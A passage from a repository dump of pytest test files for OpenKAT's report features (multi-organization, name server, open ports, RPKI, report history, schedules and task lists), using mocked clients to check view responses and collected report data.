live set results in 0 objects.\")\n\n\ndef test_multi_report_change_ooi_selection(\n    rf, client_member, valid_time, mock_organization_view_octopoes, report_data_ooi_org_a, report_data_ooi_org_b\n):\n    \"\"\"\n    Will send the selected oois back to the ooi selection page.\n    \"\"\"\n\n    oois = [report_data_ooi_org_a, report_data_ooi_org_b]\n    oois_selection = [ooi.primary_key for ooi in oois]\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](count=len(oois), items=oois)\n\n    request = setup_request(\n        rf.post(\"multi_report_select_oois\", {\"observed_at\": valid_time.strftime(\"%Y-%m-%d\"), \"ooi\": oois_selection}),\n        client_member.user,\n    )\n\n    response = OOISelectionMultiReportView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n\n    for response_ooi in response.context_data[\"selected_oois\"]:\n        assert response_ooi in oois_selection\n\n\ndef test_multi_report_report_types_selection(\n    rf, client_member, valid_time, mock_organization_view_octopoes, report_data_ooi_org_a, report_data_ooi_org_b, mocker\n):\n    \"\"\"\n    Will send the selected report types to the configuration page (set plugins).\n    \"\"\"\n\n    mocker.patch(\"account.mixins.OrganizationView.katalogus_client\")\n\n    oois = [report_data_ooi_org_a, report_data_ooi_org_b]\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](count=len(oois), items=oois)\n\n    request = setup_request(\n        rf.post(\n            \"multi_report_setup_scan\",\n            {\"observed_at\": valid_time.strftime(\"%Y-%m-%d\"), \"report_type\": [\"multi-organization-report\"]},\n        ),\n        client_member.user,\n    )\n\n    response = SetupScanMultiReportView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 307  # if all plugins are enabled the view will auto redirect to generate report\n\n    # Redirect to export setup\n    assert response.headers[\"Location\"] == \"/en/test/reports/multi-report/export-setup/?\"\n\n\ndef test_save_multi_report(\n    rf,\n    client_member,\n    valid_time,\n    mock_organization_view_octopoes,\n    mocker,\n    mock_bytes_client,\n    report_data_ooi_org_a,\n    report_data_ooi_org_b,\n    multi_report_ooi,\n):\n    \"\"\"\n    Will send data through post to multi report.\n    \"\"\"\n\n    mocker.patch(\"account.mixins.OrganizationView.katalogus_client\")\n    oois = [report_data_ooi_org_a, report_data_ooi_org_b]\n    oois_selection = [ooi.primary_key for ooi in oois]\n\n    mock_bytes_client().upload_raw.return_value = multi_report_ooi.data_raw_id\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](count=len(oois), items=oois)\n\n    request = setup_request(\n        rf.post(\n            \"multi_report_view\",\n            {\n                \"observed_at\": valid_time.strftime(\"%Y-%m-%d\"),\n                \"ooi\": oois_selection,\n                \"report_type\": [\"multi-organization-report\"],\n                \"start_date\": \"2024-01-01\",\n                \"start_time\": \"10:10\",\n                \"recurrence\": \"once\",\n                \"parent_report_name_format\": \"${report_type} for ${oois_count} objects\",\n            },\n        ),\n        client_member.user,\n    )\n\n    response = MultiReportView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 302  # after post follows redirect, this to first create report ID\n    assert \"/reports/scheduled-reports/\" in response.url\n\n\ndef test_view_multi_report(\n    rf,\n    client_member,\n    mock_organization_view_octopoes,\n    mock_bytes_client,\n    mock_katalogus_client,\n    multi_report_ooi,\n    get_multi_report_post_processed_data,\n):\n    mock_organization_view_octopoes().get_report.return_value = multi_report_ooi\n    mock_bytes_client().get_raws.return_value = [\n        (\"7b305f0d-c0a7-4ad5-af1e-31f81fc229c2\", json.dumps(get_multi_report_post_processed_data).encode(\"utf-8\"))\n    ]\n\n    request = setup_request(rf.get(\"view_report\", {\"report_id\": f\"{multi_report_ooi.primary_key}\"}), client_member.user)\n\n    response = ViewReportView.as_view()(request, organization_code=client_member.organization.code)\n    assert response.status_code == 200\n\n    assertContains(response, \"Sector Report\")\n    assertContains(response, \"This is the OpenKAT report\")\n\n    assertContains(\n        response,\n        f'<p>Created with data from: <strong>{multi_report_ooi.date_generated.strftime(\"%b. %d, %Y\")}</strong></p>',\n        html=True,\n    )\n    assertContains(\n        response,\n        f'<p>Created with data from: <strong>{multi_report_ooi.date_generated.strftime(\"%b. %d, %Y\")}</strong></p>',\n        html=True,\n    )\n    assertContains(\n        response,\n        \"<p>This sector contains 2 scanned organizations. The basic security scores are around 71%. \"\n        \"A total of 0 critical vulnerabilities have been identified.</p>\",\n        html=True,\n    )\n\n    assertContains(\n        response,\n        \"\"\"\n        <section id=\"summary\">\n            <div>\n                <h2>Summary</h2>\n                <dl>\n                    <div>\n                        <dt>Organisations in sector report</dt>\n                        <dd>\n                            2\n                        </dd>\n                    </div>\n\n                    <div>\n                        <dt>IP addresses scanned</dt>\n                        <dd>\n                            3\n                        </dd>\n                    </div>\n                    <div>\n                        <dt>Domains scanned</dt>\n                        <dd>\n                            2\n                        </dd>\n                    </div>\n                    <div>\n                        <dt>General recommendations</dt>\n                        <dd>\n                            7\n                        </dd>\n                    </div>\n                    <div>\n                        <dt>Best scoring security check</dt>\n                        <dd>\n                            CSP Present\n                        </dd>\n                    </div>\n                    <div>\n                        <dt>Worst scoring security check</dt>\n                        <dd>\n                            DNSSEC Present\n                        </dd>\n                    </div>\n                </dl>\n            </div>\n        </section>\n        \"\"\",\n        html=True,\n    )\n\n    assertContains(\n        response,\n        \"\"\"\n        <section id=\"open-ports\">\n            <div>\n                <h2>Open ports</h2>\n                <p>See an overview of open ports found over all systems and the services these systems provide.</p>\n\n                    <div class=\"horizontal-scroll\">\n                        <table>\n                            <caption class=\"visually-hidden\">Overview of detected open ports</caption>\n                            <thead>\n                                <tr>\n                                    <th scope=\"col\">Open ports</th>\n                                    <th scope=\"col\">Occurrences (IP addresses)</th>\n                                    <th scope=\"col\">Services</th>\n                                </tr>\n                            </thead>\n                            <tbody>\n\n                                    <tr>\n                                        <td>3306</td>\n                                        <td>1/3</td>\n                                        <td>MYSQL</td>\n                                    </tr>\n\n                                    <tr>\n                                        <td>53</td>\n                                        <td>1/3</td>\n                                        <td>DOMAIN</td>\n                                    </tr>\n\n                                    <tr>\n                                        <td>443</td>\n                                        <td>2/3</td>\n                                        <td>HTTPS</td>\n                                    </tr>\n\n                                    <tr>\n                                        <td>22</td>\n                                        <td>1/3</td>\n                                        <td>SSH</td>\n                                    </tr>\n\n                                    <tr>\n                                        <td>80</td>\n                                        <td>2/3</td>\n                                        <td>HTTP</td>\n                                    </tr>\n\n                            </tbody>\n                        </table>\n                    </div>\n\n            </div>\n        </section>\n\n        \"\"\",\n        html=True,\n    )\n"
  },
  {
    "path": "rocky/tests/reports/test_name_server_report.py",
    "content": "from reports.report_types.name_server_report.report import NameServerSystemReport\n\n\ndef test_name_server_report_no_hostname(mock_octopoes_api_connector, valid_time, ipaddressv4):\n    mock_octopoes_api_connector.oois = {ipaddressv4.reference: ipaddressv4}\n\n    mock_octopoes_api_connector.queries = {\n        \"IPAddress.<address[is ResolvedHostname].hostname\": {ipaddressv4.reference: []}\n    }\n\n    report = NameServerSystemReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([ipaddressv4.reference], valid_time)[ipaddressv4.reference]\n\n    assert len(data[\"name_server_checks\"].checks) == 0\n    assert data[\"name_server_checks\"].has_dnssec == 0\n    assert data[\"name_server_checks\"].has_valid_dnssec == 0\n    assert data[\"name_server_checks\"].no_uncommon_ports == 0\n    assert data[\"finding_types\"] == []\n\n\ndef test_name_server_report_no_finding_types(mock_octopoes_api_connector, valid_time, hostname):\n    mock_octopoes_api_connector.oois = {hostname.reference: hostname}\n    mock_octopoes_api_connector.queries = {\n        \"Hostname.<hostname[is ResolvedHostname].address.<address[is IPPort].<ooi[is Finding].finding_type\": {\n            hostname.reference: []\n        },\n        \"Hostname.<ooi[is Finding].finding_type\": {hostname.reference: []},\n    }\n\n    report = NameServerSystemReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([hostname.reference], valid_time)[hostname.reference]\n\n    assert len(data[\"name_server_checks\"].checks) == 1\n    assert data[\"name_server_checks\"].has_dnssec == 1\n    assert data[\"name_server_checks\"].has_valid_dnssec == 1\n    assert data[\"name_server_checks\"].no_uncommon_ports == 1\n    assert data[\"finding_types\"] == []\n\n    assert data[\"name_server_checks\"].checks[0].has_dnssec is True\n    assert data[\"name_server_checks\"].checks[0].has_valid_dnssec is True\n    assert data[\"name_server_checks\"].checks[0].no_uncommon_ports is True\n\n\ndef test_name_server_report_multiple_finding_types(\n    mock_octopoes_api_connector,\n    valid_time,\n    hostname,\n    ipaddressv4,\n    finding_type_kat_uncommon_open_port,\n    finding_type_kat_open_sysadmin_port,\n    finding_type_kat_open_database_port,\n    finding_type_kat_no_dnssec,\n    finding_type_kat_invalid_dnssec,\n    finding_types,\n):\n    mock_octopoes_api_connector.oois = {ipaddressv4.reference: ipaddressv4}\n\n    mock_octopoes_api_connector.queries = {\n        \"IPAddress.<address[is ResolvedHostname].hostname\": {ipaddressv4.reference: [hostname]},\n        \"Hostname.<hostname[is ResolvedHostname].address.<address[is IPPort].<ooi[is Finding].finding_type\": {\n            hostname.reference: [\n                finding_type_kat_uncommon_open_port,\n                finding_type_kat_open_sysadmin_port,\n                finding_type_kat_open_database_port,\n            ]\n            + finding_types\n        },\n        \"Hostname.<ooi[is Finding].finding_type\": {\n            hostname.reference: [finding_type_kat_no_dnssec, finding_type_kat_invalid_dnssec] + finding_types\n        },\n    }\n\n    report = NameServerSystemReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([ipaddressv4.reference], valid_time)[ipaddressv4.reference]\n\n    assert len(data[\"name_server_checks\"].checks) == 1\n    assert data[\"name_server_checks\"].has_dnssec == 0\n    assert data[\"name_server_checks\"].has_valid_dnssec == 0\n    assert data[\"name_server_checks\"].no_uncommon_ports == 0\n\n    assert data[\"name_server_checks\"].checks[0].has_dnssec is False\n    assert data[\"name_server_checks\"].checks[0].has_valid_dnssec is False\n    assert data[\"name_server_checks\"].checks[0].no_uncommon_ports is False\n    assert data[\"finding_types\"] == [\n        finding_type_kat_uncommon_open_port,\n        finding_type_kat_open_sysadmin_port,\n        finding_type_kat_open_database_port,\n    ]\n"
  },
  {
    "path": "rocky/tests/reports/test_open_ports_report.py",
    "content": "from reports.report_types.open_ports_report.report import OpenPortsReport\n\n\ndef test_open_ports_report_ip_no_port(mock_octopoes_api_connector, valid_time, service, hostname, ipaddressv4, ip_port):\n    mock_octopoes_api_connector.oois = {ipaddressv4.reference: ipaddressv4}\n    mock_octopoes_api_connector.queries = {\n        \"IPAddress.<address[is IPPort]\": {ipaddressv4.reference: []},\n        \"IPAddress.<address[is ResolvedHostname].hostname\": {ipaddressv4.reference: [hostname]},\n        \"IPPort.<ip_port[is IPService].service\": {ip_port.reference: []},\n    }\n\n    report = OpenPortsReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([ipaddressv4.reference], valid_time)[ipaddressv4.reference]\n\n    assert data[str(ipaddressv4.address)] == {\"ports\": {}, \"hostnames\": [hostname.name], \"services\": {}}\n\n\ndef test_open_ports_report_ip_one_port(\n    mock_octopoes_api_connector, valid_time, service, hostname, ipaddressv4, ip_port\n):\n    mock_octopoes_api_connector.oois = {ipaddressv4.reference: ipaddressv4}\n    mock_octopoes_api_connector.queries = {\n        \"IPAddress.<address[is IPPort]\": {ipaddressv4.reference: [ip_port]},\n        \"IPAddress.<address[is ResolvedHostname].hostname\": {ipaddressv4.reference: [hostname]},\n        \"IPPort.<ip_port[is IPService].service\": {ip_port.reference: [service]},\n    }\n\n    report = OpenPortsReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([ipaddressv4.reference], valid_time)[ipaddressv4.reference]\n\n    assert data[str(ipaddressv4.address)] == {\n        \"ports\": {80: False},\n        \"hostnames\": [hostname.name],\n        \"services\": {80: [service.name]},\n    }\n\n\ndef test_open_ports_report_ip_multiple_ports_sorting(\n    mock_octopoes_api_connector, valid_time, service, hostname, ipaddressv4, ip_port, ip_port_443\n):\n    mock_octopoes_api_connector.oois = {ipaddressv4.reference: ipaddressv4}\n    mock_octopoes_api_connector.queries = {\n        \"IPAddress.<address[is IPPort]\": {ipaddressv4.reference: [ip_port_443, ip_port]},\n        \"IPAddress.<address[is ResolvedHostname].hostname\": {ipaddressv4.reference: [hostname]},\n        \"IPPort.<ip_port[is IPService].service\": {ip_port_443.reference: [service], ip_port.reference: [service]},\n    }\n\n    report = OpenPortsReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([ipaddressv4.reference], valid_time)[ipaddressv4.reference]\n\n    assert data[str(ipaddressv4.address)] == {\n        \"ports\": {80: False, 443: False},\n        \"hostnames\": [hostname.name],\n        \"services\": {80: [service.name], 443: [service.name]},\n    }\n\n\ndef test_open_ports_report_hostname_one_port(\n    mock_octopoes_api_connector, valid_time, service, hostname, ipaddressv4, ip_port\n):\n    mock_octopoes_api_connector.oois = {hostname.reference: hostname}\n    mock_octopoes_api_connector.queries = {\n        \"Hostname.<hostname[is ResolvedHostname].address\": {hostname.reference: [ipaddressv4]},\n        \"IPAddress.<address[is IPPort]\": {ipaddressv4.reference: [ip_port]},\n        \"IPAddress.<address[is ResolvedHostname].hostname\": {ipaddressv4.reference: [hostname]},\n        \"IPPort.<ip_port[is IPService].service\": {ip_port.reference: [service]},\n    }\n\n    report = OpenPortsReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([hostname.reference], valid_time)[hostname.reference]\n\n    assert data[str(ipaddressv4.address)] == {\n        \"ports\": {80: False},\n        \"hostnames\": [hostname.name],\n        \"services\": {80: [service.name]},\n    }\n"
  },
  {
    "path": "rocky/tests/reports/test_plugins.py",
    "content": "from unittest.mock import MagicMock\n\nfrom django.urls import resolve, reverse\nfrom katalogus.client import KATalogusHTTPStatusError\nfrom reports.views.generate_report import SetupScanGenerateReportView\n\nfrom octopoes.models.pagination import Paginated\nfrom octopoes.models.types import OOIType\nfrom tests.conftest import setup_request\n\n\ndef test_generate_report_setup_scan_wrong_plugin_id(\n    rf, client_member, valid_time, mocker, mock_organization_view_octopoes, mock_bytes_client, listed_hostnames\n):\n    katalogus_client = mocker.patch(\"account.mixins.OrganizationView.katalogus_client\")\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](\n        count=len(listed_hostnames), items=listed_hostnames\n    )\n    katalogus_client.get_plugins.side_effect = KATalogusHTTPStatusError(MagicMock())\n    mock_bytes_client().upload_raw.return_value = \"raw_id\"\n\n    kwargs = {\"organization_code\": client_member.organization.code}\n    url = reverse(\"generate_report_setup_scan\", kwargs=kwargs)\n\n    request = rf.post(url, {\"observed_at\": valid_time.strftime(\"%Y-%m-%d\"), \"ooi\": \"all\", \"report_type\": \"ipv6-report\"})\n    request.resolver_match = resolve(url)\n\n    setup_request(request, client_member.user)\n\n    response = SetupScanGenerateReportView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 307\n    assert list(request._messages)[0].message == \"An HTTP %d error occurred. Check logs for more info.\"\n"
  },
  {
    "path": "rocky/tests/reports/test_report_overview.py",
    "content": "from uuid import uuid4\n\nfrom pytest_django.asserts import assertContains\nfrom reports.views.report_overview import ReportHistoryView\n\nfrom octopoes.models.exception import ObjectNotFoundException\nfrom octopoes.models.ooi.reports import HydratedReport\nfrom octopoes.models.pagination import Paginated\nfrom tests.conftest import setup_request\n\n\ndef test_report_overview_show_reports(rf, redteam_member, mock_organization_view_octopoes, report_list):\n    \"\"\"\n    Will send the selected oois to the report type selection page.\n    \"\"\"\n\n    mock_organization_view_octopoes().list_reports.return_value = report_list\n\n    response = ReportHistoryView.as_view()(\n        setup_request(rf.get(\"report_history\"), redteam_member.user), organization_code=redteam_member.organization.code\n    )\n\n    assert response.status_code == 200\n\n    assertContains(response, \"Showing 3 of 3 reports\")\n\n\ndef test_report_overview_rename_reports(\n    rf, redteam_member, mock_organization_view_octopoes, mock_bytes_client, report_list\n):\n    \"\"\"\n    Renames a report\n    \"\"\"\n\n    report: HydratedReport = report_list.items[2]\n    new_name = \"This is the new report name for testing\"\n    mock_organization_view_octopoes().list_reports.side_effect = [\n        report_list,\n        # To \"see\" the new name after the rename\n        Paginated(count=1, items=[report.model_copy(update={\"name\": new_name})]),\n    ]\n\n    mock_organization_view_octopoes().get_report.return_value = report\n\n    request = setup_request(\n        rf.post(\n            \"report_history\", {\"action\": \"rename\", \"report_name\": new_name, \"report_reference\": report.primary_key}\n        ),\n        redteam_member.user,\n    )\n\n    response = ReportHistoryView.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 200\n    assert list(request._messages)[0].message == \"Reports successfully renamed.\"\n\n    assertContains(response, new_name)\n\n\ndef test_report_overview_rename_non_existant_report(\n    rf, client_member, mock_organization_view_octopoes, report_list, mock_bytes_client\n):\n    \"\"\"\n    Renames a report\n    \"\"\"\n\n    mock_organization_view_octopoes().list_reports.return_value = report_list\n    report = report_list.items[0]\n\n    request = setup_request(\n        rf.post(\n            \"report_history\",\n            {\n                \"action\": \"rename\",\n                \"report_name\": \"This is the new report name for testing\",\n                \"report_reference\": report.primary_key,\n            },\n        ),\n        client_member.user,\n    )\n\n    response = ReportHistoryView.as_view()(request, organization_code=client_member.organization.code)\n\n    mock_organization_view_octopoes().get.side_effect = ObjectNotFoundException(\"Object not found.\")\n\n    assert response.status_code == 200\n\n    assert (\n        list(request._messages)[0].message == 'Report \"This is the new report name for testing\" could not be renamed.'\n    )\n\n\ndef test_report_overview_delete_reports(rf, redteam_member, mock_organization_view_octopoes, report_list):\n    \"\"\"\n    Deletes a report\n    \"\"\"\n\n    mock_organization_view_octopoes().list_reports.return_value = report_list\n    report = report_list.items[0]\n    mock_organization_view_octopoes().get.return_value = report\n\n    request = setup_request(\n        rf.post(\"report_history\", {\"action\": \"delete\", \"report_reference\": report.primary_key}), redteam_member.user\n    )\n\n    response = ReportHistoryView.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 200\n\n    assert list(request._messages)[0].message == \"Deletion successful.\"\n\n\ndef test_report_overview_delete_reports_no_permission(rf, client_member, mock_organization_view_octopoes, report_list):\n    \"\"\"\n    Deletes a report\n    \"\"\"\n\n    mock_organization_view_octopoes().list_reports.return_value = report_list\n    report = report_list.items[0]\n    mock_organization_view_octopoes().get.return_value = report\n\n    request = setup_request(\n        rf.post(\"report_history\", {\"action\": \"delete\", \"report_reference\": report.primary_key}), client_member.user\n    )\n\n    response = ReportHistoryView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n\n    assert list(request._messages)[0].message == \"Not enough permissions\"\n\n\ndef test_report_overview_rerun_reports(\n    rf,\n    client_member,\n    mock_organization_view_octopoes,\n    mock_bytes_client,\n    get_report_input_data_from_bytes,\n    report_list,\n    mock_scheduler,\n):\n    \"\"\"\n    Rerun a report\n    \"\"\"\n\n    mock_organization_view_octopoes().list_reports.return_value = report_list\n\n    concatenated_report = report_list.items[2]  # a concat report\n    mock_scheduler.post_schedule_search.return_value.results.id = \"test\"\n\n    mock_organization_view_octopoes().get.return_value = concatenated_report\n    mock_bytes_client().get_raws.return_value = [\n        (\"7b305f0d-c0a7-4ad5-af1e-31f81fc229c2\", get_report_input_data_from_bytes)\n    ]\n    mock_bytes_client().upload_raw.return_value = str(uuid4())\n    mock_organization_view_octopoes().query.return_value = concatenated_report.input_oois\n\n    request = setup_request(\n        rf.post(\"report_history\", {\"action\": \"rerun\", \"report_reference\": concatenated_report.primary_key}),\n        client_member.user,\n    )\n\n    response = ReportHistoryView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n\n    assert list(request._messages)[0].message == (\n        \"Rerun successful. It may take a moment before the new report has been generated.\"\n    )\n\n    assertContains(response, concatenated_report.name)\n\n\ndef test_aggregate_report_has_asset_reports(\n    rf, client_member, mock_organization_view_octopoes, mock_bytes_client, aggregate_report_with_sub_reports\n):\n    mock_organization_view_octopoes().list_reports.return_value = aggregate_report_with_sub_reports\n    aggregate_report = aggregate_report_with_sub_reports.items[0]\n    response = ReportHistoryView.as_view()(\n        setup_request(rf.get(\"report_history\"), client_member.user), organization_code=client_member.organization.code\n    )\n\n    assert response.status_code == 200\n\n    assertContains(response, \"Nov. 21, 2024\")\n    assertContains(response, \"Nov. 21, 2024, 10:07 a.m.\")\n\n    assertContains(response, \"expando-button icon ti-chevron-down\")\n\n    assertContains(\n        response,\n        f\"This report consists of {len(aggregate_report.input_oois)} asset reports with the \"\n        f\"following report types and objects:\",\n    )\n\n    assertContains(response, f\"Asset reports (5/{len(aggregate_report.input_oois)})\", html=True)\n\n    assertContains(response, aggregate_report.name)\n\n    for subreport in aggregate_report.input_oois:\n        assertContains(response, subreport.name)\n\n    assertContains(response, \"View all asset reports\")\n"
  },
  {
    "path": "rocky/tests/reports/test_report_schedules.py",
    "content": "from reports.views.report_overview import ScheduledReportsView\n\nfrom octopoes.models.exception import ObjectNotFoundException\nfrom rocky.scheduler import SchedulerError\nfrom tests.conftest import setup_request\n\n\ndef test_delete_schedule(\n    rf, redteam_member, mock_organization_view_octopoes, mock_scheduler, scheduled_report_recipe, scheduled_reports_list\n):\n    mock_scheduler.get_schedule_details.return_value = scheduled_reports_list[0]\n    mock_scheduler.get_scheduled_reports.return_value = scheduled_reports_list\n    mock_organization_view_octopoes().get.return_value = scheduled_report_recipe\n\n    recipe_id = \"ReportRecipe|\" + scheduled_reports_list[0].data[\"report_recipe_id\"]\n\n    request = setup_request(rf.post(\"scheduled_reports\", {\"recipe_id\": recipe_id}), redteam_member.user)\n\n    response = ScheduledReportsView.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 302\n    assert list(request._messages)[0].message == f\"Recipe '{recipe_id}' deleted successfully\"\n\n\ndef test_delete_schedule_no_recipe(\n    rf, redteam_member, mock_organization_view_octopoes, mock_scheduler, scheduled_report_recipe, scheduled_reports_list\n):\n    mock_scheduler.get_scheduled_reports.return_value = scheduled_reports_list\n    mock_organization_view_octopoes().get.return_value = scheduled_report_recipe\n\n    request = setup_request(rf.post(\"scheduled_reports\", {}), redteam_member.user)\n    response = ScheduledReportsView.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 302\n    assert list(request._messages)[0].message == \"No schedule or recipe selected\"\n\n\ndef test_delete_schedule_object_not_found(\n    rf, redteam_member, mock_organization_view_octopoes, mock_scheduler, scheduled_report_recipe, scheduled_reports_list\n):\n    mock_scheduler.get_scheduled_reports.side_effect = scheduled_reports_list\n    mock_organization_view_octopoes().get.return_value = scheduled_report_recipe\n    mock_organization_view_octopoes().delete.side_effect = ObjectNotFoundException(\"Not found\")\n\n    request = setup_request(rf.post(\"scheduled_reports\", {\"recipe_id\": \"ReportRecipe|recipeNone\"}), redteam_member.user)\n\n    response = ScheduledReportsView.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 302\n    assert list(request._messages)[0].message == \"Recipe not found.\"\n\n\ndef test_delete_schedule_schedule_not_found(\n    rf, redteam_member, mock_organization_view_octopoes, mock_scheduler, scheduled_report_recipe, scheduled_reports_list\n):\n    mock_scheduler.get_scheduled_reports.side_effect = scheduled_reports_list\n    mock_organization_view_octopoes().get.return_value = scheduled_report_recipe\n    mock_scheduler.delete_schedule.side_effect = SchedulerError\n\n    request = setup_request(rf.post(\"scheduled_reports\", {\"recipe_id\": \"ReportRecipe|recipeNone\"}), redteam_member.user)\n\n    response = ScheduledReportsView.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 302\n    assert (\n        list(request._messages)[0].message\n        == \"The Scheduler has an unexpected error. Check the Scheduler logs for further details.\"\n    )\n"
  },
  {
    "path": "rocky/tests/reports/test_report_tasks.py",
    "content": "from pytest_django.asserts import assertContains\n\nfrom rocky.scheduler import SchedulerConnectError, SchedulerValidationError\nfrom rocky.views.tasks import ReportsTaskListView\nfrom tests.conftest import setup_request\n\n\ndef test_report_task_list(rf, client_member, mock_scheduler, reports_task_list):\n    \"\"\"\n    Test report task general page .\n    \"\"\"\n\n    mock_scheduler.list_tasks.return_value = reports_task_list\n\n    recipe_ids = [report_task.data.report_recipe_id for report_task in reports_task_list.results]\n\n    response = ReportsTaskListView.as_view()(\n        setup_request(rf.get(\"reports_task_list\"), client_member.user),\n        organization_code=client_member.organization.code,\n    )\n\n    assert response.status_code == 200\n\n    assertContains(response, \"List of tasks for reports\")\n    assertContains(response, '<td><i class=\"icon failed\"></i>Failed</td>', html=True)\n    assertContains(response, '<td><i class=\"icon completed\"></i>Completed</td>', html=True)\n    assertContains(response, recipe_ids[0])\n    assertContains(response, recipe_ids[1])\n\n\ndef test_report_task_list_connect_error(rf, client_member, mock_scheduler):\n    \"\"\"\n    Test report task general page .\n    \"\"\"\n\n    mock_scheduler.list_tasks.side_effect = SchedulerConnectError\n\n    request = setup_request(rf.get(\"reports_task_list\"), client_member.user)\n\n    response = ReportsTaskListView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n    assert list(request._messages)[0].message == \"Could not connect to Scheduler. Service is possibly down.\"\n\n\ndef test_report_task_list_validation_error(rf, client_member, mock_scheduler):\n    \"\"\"\n    Test report task general page .\n    \"\"\"\n\n    mock_scheduler.list_tasks.side_effect = SchedulerValidationError\n\n    request = setup_request(rf.get(\"reports_task_list\"), client_member.user)\n\n    response = ReportsTaskListView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n    assert list(request._messages)[0].message == \"Your request could not be validated.\"\n"
  },
  {
    "path": "rocky/tests/reports/test_rpki_report.py",
    "content": "from reports.report_types.rpki_report.report import RPKIReport\n\n\ndef test_rpki_report_no_ip(mock_octopoes_api_connector, valid_time, hostname):\n    mock_octopoes_api_connector.oois = {hostname.reference: hostname}\n    mock_octopoes_api_connector.queries = {\"Hostname.<hostname[is ResolvedHostname].address\": {hostname.reference: []}}\n\n    report = RPKIReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([hostname.reference], valid_time)[hostname.reference]\n\n    assert data[\"rpki_ips\"] == {}\n    assert data[\"number_of_available\"] == 0\n    assert data[\"number_of_compliant\"] == 0\n    assert data[\"number_of_valid\"] == 0\n    assert data[\"number_of_ips\"] == 0\n\n\ndef test_rpki_ip_valid(mock_octopoes_api_connector, valid_time, hostname, ipaddressv4, service):\n    mock_octopoes_api_connector.oois = {ipaddressv4.reference: ipaddressv4}\n\n    mock_octopoes_api_connector.queries = {\"IPAddress.<ooi[is Finding].finding_type\": {ipaddressv4.reference: []}}\n\n    report = RPKIReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([ipaddressv4.reference], valid_time)[ipaddressv4.reference]\n\n    assert data[\"number_of_available\"] == 1\n    assert data[\"number_of_compliant\"] == 1\n    assert data[\"number_of_valid\"] == 1\n    assert data[\"number_of_ips\"] == 1\n\n    assert data[\"rpki_ips\"][ipaddressv4.reference] == {\"exists\": True, \"valid\": True}\n\n\ndef test_rpki_hostname_with_ip_valid(mock_octopoes_api_connector, valid_time, hostname, ipaddressv4, service):\n    mock_octopoes_api_connector.oois = {hostname.reference: hostname}\n\n    mock_octopoes_api_connector.queries = {\n        \"Hostname.<hostname[is ResolvedHostname].address\": {hostname.reference: [ipaddressv4]},\n        \"IPAddress.<ooi[is Finding].finding_type\": {ipaddressv4.reference: []},\n    }\n\n    report = RPKIReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([hostname.reference], valid_time)[hostname.reference]\n\n    assert data[\"number_of_available\"] == 1\n    assert data[\"number_of_compliant\"] == 1\n    assert data[\"number_of_valid\"] == 1\n    assert data[\"number_of_ips\"] == 1\n\n    assert data[\"rpki_ips\"][ipaddressv4.reference] == {\"exists\": True, \"valid\": True}\n\n\ndef test_rpki_hostname_with_two_ips_invalid(\n    mock_octopoes_api_connector,\n    valid_time,\n    hostname,\n    ipaddressv4,\n    ipaddressv6,\n    service,\n    no_rpki_finding_type,\n    invalid_rpki_finding_type,\n):\n    mock_octopoes_api_connector.oois = {hostname.reference: hostname}\n\n    mock_octopoes_api_connector.queries = {\n        \"Hostname.<hostname[is ResolvedHostname].address\": {hostname.reference: [ipaddressv4, ipaddressv6]},\n        \"IPAddress.<ooi[is Finding].finding_type\": {\n            ipaddressv4.reference: [no_rpki_finding_type, invalid_rpki_finding_type],\n            ipaddressv6.reference: [invalid_rpki_finding_type],\n        },\n    }\n\n    report = RPKIReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([hostname.reference], valid_time)[hostname.reference]\n\n    assert data[\"rpki_ips\"][ipaddressv4.reference] == {\"exists\": False, \"valid\": False}\n    assert data[\"rpki_ips\"][ipaddressv6.reference] == {\"exists\": True, \"valid\": False}\n    assert data[\"number_of_available\"] == 1\n    assert data[\"number_of_compliant\"] == 0\n    assert data[\"number_of_valid\"] == 0\n    assert data[\"number_of_ips\"] == 2\n"
  },
  {
    "path": "rocky/tests/reports/test_safe_connections_report.py",
